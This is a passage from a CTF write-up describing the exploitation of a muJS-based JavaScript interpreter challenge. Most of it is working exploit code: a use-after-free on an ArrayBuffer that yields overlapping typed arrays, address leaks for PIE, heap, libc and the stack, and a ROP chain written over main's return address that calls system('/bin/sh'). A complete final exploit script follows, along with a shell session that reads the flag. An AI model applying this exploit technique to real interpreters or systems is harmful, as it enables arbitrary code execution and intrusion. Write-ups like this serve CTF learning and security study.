14 J,
15 "Invalid byte length"
16 );
17 }
18 while((size%4)) {
19 size += 1;
20 }
21 js_Object* this = jsV_newobject(J, JS_CARRAYBUFFER, J->ArrayBuffer_prototype);
22 this->u.ab.backingStore = js_malloc(J, (size));
23 memset((void*)this->u.ab.backingStore, 0, size);
24 this->u.ab.byteLength = size;
25 js_pushobject(J, this);
26}
The following code should get us overlap:
1function gc(a, b, buf)
2{
3 for (i = 0; i < a; i++)
4 {
5 new Uint32Array(b);
6 }
7 new Uint32Array(buf);
8}
9
10arraybuf = new ArrayBuffer(97);
11arr = Uint32Array(arraybuf);
12gc(10000, 2, arraybuf); // cause this to become a dangling pointer for UAF
13while (true)
14{
15 target = new Uint32Array(200);
16 if (arr.get(0) != 0)
17 {
18 print("found overlap!");
19 break;
20 }
21}
Now, we can easily index into arr
and change the data for target
. Take careful note of the js_Object struct from the previous part.
Attaching to the process with a debugger, we immediately noticed how the propety pointer allowed us to rebase the binary PIE addresses. A heap leak can also be obtained by reading the mem pointer in the TypedArray union field of the object struct. We can then change the mem pointer to __libc_start_main@got
to leak libc, and then change the mem pointer to environ
for stack leak.
1// TypedArray items are in union after prototype, prototype at index 6 and 7
2piebase = parseInt(arr.get(3).toString(16) + arr.get(2).toString(16), 16) - 278688
3print('pie base: 0x' + piebase.toString(16))
4heapleak = parseInt(arr.get(7).toString(16) + arr.get(6).toString(16), 16)
5print('heap leak: 0x' + heapleak.toString(16))
6main_got = piebase + 0x43fd8
7
8print('__libc_start_main@got: 0x' + main_got.toString(16))
9
10low = parseInt(main_got.toString(16).substring(4, 12), 16)
11high = parseInt(main_got.toString(16).substring(0, 4), 16)
12
13original = parseInt(arr.get(9).toString(16) + arr.get(8).toString(16), 16)
14
15arr.set(8, low)
16arr.set(9, high)
17libcbase = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
18print('libc base: 0x' + libcbase.toString(16))
19environ = libcbase + 0x1ef2e0
20low = parseInt(environ.toString(16).substring(4, 12), 16)
21high = parseInt(environ.toString(16).substring(0, 4), 16)
22arr.set(8, low)
23arr.set(9, high)
24stack = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
25print('stack leak: 0x' + stack.toString(16))
Looking at the main function for the interpreter:
1int
2main(int argc, char **argv)
3{
4 char *input;
5 js_State *J;
6 int status = 0;
7 int strict = 0;
8 int interactive = 0;
9 int i, c;
10
11 while ((c = xgetopt(argc, argv, "is")) != -1) {
12 switch (c) {
13 default: usage(); break;
14 case 'i': interactive = 1; break;
15 case 's': strict = 1; break;
16 }
17 }
18
19 J = js_newstate(NULL, NULL, strict ? JS_STRICT : 0);
20
21 js_newcfunction(J, jsB_gc, "gc", 0);
22 js_setglobal(J, "gc");
23
24 js_newcfunction(J, jsB_compile, "compile", 2);
25 js_setglobal(J, "compile");
26
27 js_newcfunction(J, jsB_print, "print", 0);
28 js_setglobal(J, "print");
29
30 js_newcfunction(J, jsB_write, "write", 0);
31 js_setglobal(J, "write");
32
33 js_newcfunction(J, jsB_repr, "repr", 0);
34 js_setglobal(J, "repr");
35
36 js_newcfunction(J, jsB_quit, "quit", 1);
37 js_setglobal(J, "quit");
38
39 js_dostring(J, require_js);
40 js_dostring(J, stacktrace_js);
41
42 if (xoptind == argc) {
43 interactive = 1;
44 } else {
45 c = xoptind++;
46
47 js_newarray(J);
48 i = 0;
49 while (xoptind < argc) {
50 js_pushstring(J, argv[xoptind++]);
51 js_setindex(J, -2, i++);
52 }
53 js_setglobal(J, "scriptArgs");
54
55 if (js_dofile(J, argv[c]))
56 status = 1;
57 }
58
59 if (interactive) {
60 if (isatty(0)) {
61 using_history();
62 rl_bind_key('\t', rl_insert);
63 input = readline(PS1);
64 while (input) {
65 eval_print(J, input);
66 if (*input)
67 add_history(input);
68 free(input);
69 input = readline(PS1);
70 }
71 putchar('\n');
72 } else {
73 input = read_stdin();
74 if (!input || !js_dostring(J, input))
75 status = 1;
76 free(input);
77 }
78 }
79
80 js_gc(J, 0);
81 js_freestate(J);
82
83 return status;
84}
We note that this function does return, after calling the garbage collector once more. To prevent it from freeing invalid memory, we can fix the mem pointer to point back to its original buffer, but we do this after we adjust its buffer to point to the stack address that stores the return address of main to write a ROP.
1main_ret = stack + 0x26eb8
2
3poprdi = piebase + 0x0000000000004d9d
4system = libcbase + 0x55410
5binsh = libcbase + 0x1b75aa
6
7rop = [poprdi, binsh, poprdi+1, system]
8
9// get ready for rop
10low = parseInt(main_ret.toString(16).substring(4, 12), 16)
11high = parseInt(main_ret.toString(16).substring(0, 4), 16)
12arr.set(8, low)
13arr.set(9, high)
14
15for (i = 0; i < rop.length * 2; i += 2)
16{
17 low = parseInt(rop[i/2].toString(16).substring(4, 12), 16)
18 high = parseInt(rop[i/2].toString(16).substring(0, 4), 16)
19 target.set(i, low)
20 target.set(i+1, high)
21}
22
23
24
25// fix backing buffer, jemalloc is find with some double frees i guess
26low = parseInt(original.toString(16).substring(4, 12), 16)
27high = parseInt(original.toString(16).substring(0, 4), 16)
28arr.set(8, low)
29arr.set(9, high)
Final Exploit
1function gc(a, b, buf)
2{
3 for (i = 0; i < a; i++)
4 {
5 new Uint32Array(b);
6 }
7 new Uint32Array(buf);
8}
9
10arraybuf = new ArrayBuffer(97);
11arr = Uint32Array(arraybuf);
12gc(10000, 2, arraybuf); // cause this to become a dangling pointer for UAF
13while (true)
14{
15 target = new Uint32Array(200);
16 if (arr.get(0) != 0)
17 {
18 print("found overlap!");
19 break;
20 }
21}
22// TypedArray items are in union after prototype, prototype at index 6 and 7
23piebase = parseInt(arr.get(3).toString(16) + arr.get(2).toString(16), 16) - 278688
24print('pie base: 0x' + piebase.toString(16))
25heapleak = parseInt(arr.get(7).toString(16) + arr.get(6).toString(16), 16)
26print('heap leak: 0x' + heapleak.toString(16))
27main_got = piebase + 0x43fd8
28
29print('__libc_start_main@got: 0x' + main_got.toString(16))
30
31low = parseInt(main_got.toString(16).substring(4, 12), 16)
32high = parseInt(main_got.toString(16).substring(0, 4), 16)
33
34original = parseInt(arr.get(9).toString(16) + arr.get(8).toString(16), 16)
35
36arr.set(8, low)
37arr.set(9, high)
38libcbase = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
39print('libc base: 0x' + libcbase.toString(16))
40environ = libcbase + 0x1ef2e0
41low = parseInt(environ.toString(16).substring(4, 12), 16)
42high = parseInt(environ.toString(16).substring(0, 4), 16)
43arr.set(8, low)
44arr.set(9, high)
45stack = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
46print('stack leak: 0x' + stack.toString(16))
47
48main_ret = stack + 0x26eb8
49
50poprdi = piebase + 0x0000000000004d9d
51system = libcbase + 0x55410
52binsh = libcbase + 0x1b75aa
53
54rop = [poprdi, binsh, poprdi+1, system]
55
56// get ready for rop
57low = parseInt(main_ret.toString(16).substring(4, 12), 16)
58high = parseInt(main_ret.toString(16).substring(0, 4), 16)
59arr.set(8, low)
60arr.set(9, high)
61
62for (i = 0; i < rop.length * 2; i += 2)
63{
64 low = parseInt(rop[i/2].toString(16).substring(4, 12), 16)
65 high = parseInt(rop[i/2].toString(16).substring(0, 4), 16)
66 target.set(i, low)
67 target.set(i+1, high)
68}
69
70
71
72// fix backing buffer, jemalloc is find with some double frees i guess
73low = parseInt(original.toString(16).substring(4, 12), 16)
74high = parseInt(original.toString(16).substring(0, 4), 16)
75arr.set(8, low)
76arr.set(9, high)
Just like the last one, we had to reopen stdout.
zh3r0-CTF
exec 1>&0
ls
connect.py
flag
libjemalloc.so.2
mujs
run.sh
start.sh
ynetd
cat flag
zh3r0{yierath6Ohlie2oS8oofaeghoobai5Ie}
Concluding Thoughts
The pwnables made by codacker (BabyArmROP) and hk (More Printf and the muJS challenges) were very fun and enjoyable! We look forward to seeing what this CTF has to offer in the future.